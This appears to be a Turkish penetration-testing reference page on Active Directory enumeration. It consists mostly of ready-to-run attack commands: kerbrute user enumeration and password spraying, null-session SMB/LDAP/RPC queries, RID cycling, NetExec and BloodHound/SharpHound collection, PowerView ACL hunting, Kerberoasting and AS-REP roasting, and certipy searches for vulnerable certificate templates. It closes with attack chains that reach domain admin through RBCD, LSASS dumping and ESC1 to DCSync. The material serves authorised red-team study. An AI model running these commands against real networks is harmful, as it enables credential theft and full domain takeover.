Skip to content

AD Enumeration

MITRE ATT&CK · T1087.002 phase: discovery

MITRE ATT&CK · T1087.002 phase: discovery

Enumeration, AD sızma testinin temelidir: kullanıcılar, gruplar, bilgisayarlar, GPO’lar, ACL’ler, SPN’ler, delegation ayarları ve trust ilişkileri toplanır ve domain dominasyonuna giden saldırı yolları çıkarılır. Amaç “ne var?” değil; “elimdeki kimlikle hangi kenar üzerinden yükseliyorum?” sorusuna cevap vermektir.

AşamaGerekliÜretilen
KimliksizDC IP/FQDN, domain adıgeçerli kullanıcı listesi, null session verisi
Kimlikli (low-priv)herhangi domain hesabıBloodHound zip, SPN/AS-REP, ACL, trust
Windows footholdPowerShell / SharpHoundoturum (session) kenarları, local admin

BloodHound kenarları (sonraki adımlar): MemberOf, GenericAll, GenericWrite, WriteDacl, ForceChangePassword, AddMember, AllowedToDelegate, AllowedToAct, HasSession, AdminTo, ReadLAPSPassword, Owns, CanRDP, CanPSRemote.

  1. Kullanıcı adı keşfi (Kerberos pre-auth) — kerbrute / GetNPUsers ile geçerli kullanıcıları ayıkla. Yanlış kullanıcı → KRB_AP_ERR_SKEW / PRINCIPAL_UNKNOWN ; doğru → preauth required. Kilitlenme yaratmaz (parola denemesi yok):

    Terminal window
    kerbrute userenum -d domain.local --dc 10.10.10.5 users.txt
    Terminal window
    impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 -no-pass
  2. Anonim SMB/LDAP — null session ve anonim bind dene:

    Terminal window
    nxc smb 10.10.10.5 -u '' -p ''
    Terminal window
    nxc smb 10.10.10.5 -u 'guest' -p ''
    Terminal window
    enum4linux-ng -A 10.10.10.5
    Terminal window
    rpcclient -U '' -N 10.10.10.5 # enumdomusers / querydispinfo
    Terminal window
    ldapsearch -x -H ldap://10.10.10.5 -s base namingContexts
    Terminal window
    ldapsearch -x -H ldap://10.10.10.5 -s base -b '' '(objectClass=*)' *
  3. Parola politikası (mümkünse) — spray öncesi kilitlenme eşiği:

    Terminal window
    nxc smb 10.10.10.5 -u user -p 'Wrong' --pass-pol # geçerli user + yanlış parola
    Terminal window
    rpcclient -U '' -N 10.10.10.5 -c 'getdompwinfo'
  4. RID cycling / SAMR — null session açıksa kullanıcı dump:

    Terminal window
    impacket-lookupsid domain.local/guest@10.10.10.5 -no-pass
    Terminal window
    impacket-samrdump domain.local/@10.10.10.5 -no-pass
Terminal window
nxc smb 10.10.10.5 -u users.txt -p 'Summer2026!' --continue-on-success
Terminal window
kerbrute passwordspray -d domain.local --dc 10.10.10.5 users.txt 'Summer2026!'

Kimlikli (authenticated) — NetExec hızlı envanter

Section titled “Kimlikli (authenticated) — NetExec hızlı envanter”

Geçerli bir düşük yetkili hesap elde edildikten sonra:

Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' --users
Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' --groups
Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' --pass-pol
Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' --computers
Terminal window
nxc smb 10.10.10.0/24 -u user -p 'Pass123' --shares
Terminal window
nxc smb 10.10.10.0/24 -u user -p 'Pass123' --sessions
Terminal window
nxc smb 10.10.10.0/24 -u user -p 'Pass123' --loggedon-users
Terminal window
nxc smb 10.10.10.0/24 -u user -p 'Pass123' --local-groups
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --bloodhound -c all --dns-server 10.10.10.5
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --trusted-for-delegation
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --admin-count
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --gmsa
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' -M maq # MachineAccountQuota
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --kerberoasting kerb.txt
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --asreproast asrep.txt

Hash ile aynı komutlar: -H :<NT_hash> veya -H LM:NT.

  1. Uzaktan Python collector :

    Terminal window
    bloodhound-python -u user -p 'Pass123' -d domain.local \
    -ns 10.10.10.5 -c all --zip
    Terminal window
    bloodhound-python -u user -p 'Pass123' -d domain.local -ns 10.10.10.5 -c DCOnly --zip
  2. Windows — SharpHound (session kenarları için foothold şart):

    Terminal window
    SharpHound.exe -c All --zipfilename loot
    Terminal window
    SharpHound.exe -c Session,LoggedOn --Loop --LoopDuration 02:00:00
    Terminal window
    SharpHound.exe -c DCOnly
  3. İçe aktar + Owned işaretle — ele geçirdiğin kullanıcı/host’ları BloodHound CE’de Mark as Owned ; sonra Shortest Paths from Owned .

Ayrıntılı kenar yorumu: BloodHound.

Terminal window
Import-Module .\PowerView.ps1
Terminal window
Get-DomainUser -Properties samaccountname,serviceprincipalname,memberof,pwdlastset
Terminal window
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse
Terminal window
Get-DomainComputer -Unconstrained
Terminal window
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Terminal window
Get-DomainUser -PreauthNotRequired
Terminal window
Get-DomainTrust / Get-DomainTrustMapping
Terminal window
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs
Terminal window
Find-InterestingDomainAcl -ResolveGUIDs
Terminal window
Find-LocalAdminAccess -Verbose
Terminal window
Get-NetSession -ComputerName dc01
Terminal window
Get-ObjectAcl -Identity 'Domain Admins' -ResolveGUIDs
Terminal window
Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs |
? {$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteProperty'}
Terminal window
BASE='DC=domain,DC=local'
Terminal window
BIND='user@domain.local'
Terminal window
ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
-b "$BASE" '(objectCategory=person)' sAMAccountName userPrincipalName
Terminal window
ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
-b "$BASE" '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)' sAMAccountName
Terminal window
ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
-b "$BASE" '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName
Terminal window
ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
-b "$BASE" '(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName
Terminal window
ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
-b "$BASE" '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName
Terminal window
ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
-b "$BASE" '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))' dNSHostName

Delegation, ADCS, LAPS, trust — hedefli enum

Section titled “Delegation, ADCS, LAPS, trust — hedefli enum”
Terminal window
impacket-findDelegation domain.local/user:'Pass123' -dc-ip 10.10.10.5
Terminal window
certipy find -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 -vulnerable -stdout
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' -M laps
Terminal window
nltest /domain_trusts /all_trusts
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --dc-list

AD Enum · NetExec LDAP

embedded tool
Generated command
nxc ldap 10.10.10.5 -u lowpriv -p Pass123 --users --groups --pass-pol
1) kerbrute userenum → password spray → low-priv
2) bloodhound All → GenericWrite on WORKSTATION$ → RBCD → local admin
3) AS-REP roast → kırılan servis hesabı → AdminTo DA laptop → LSASS → DA
4) certipy find ESC1 → req SAN=Administrator → DCSync
  • Kerberos komutlarında IP yerine FQDN ; DNS ( -ns / hosts) şart.
  • Clock skew > 5 dk → bilet/auth fail; ntpdate veya faketime .
  • BloodHound Session kenarı stale olabilir; loop collection kullan.
  • MachineAccountQuota=0 → RBCD için yeni makine hesabı açılamaz.
  • Guest/null session modern DC’lerde kapalı; yine de eski file server’larda dene.
  • AS-REP Roasting / Kerberoasting
  • ACL Abuse / ADCS ESC1
  • BloodHound ile yol seçimi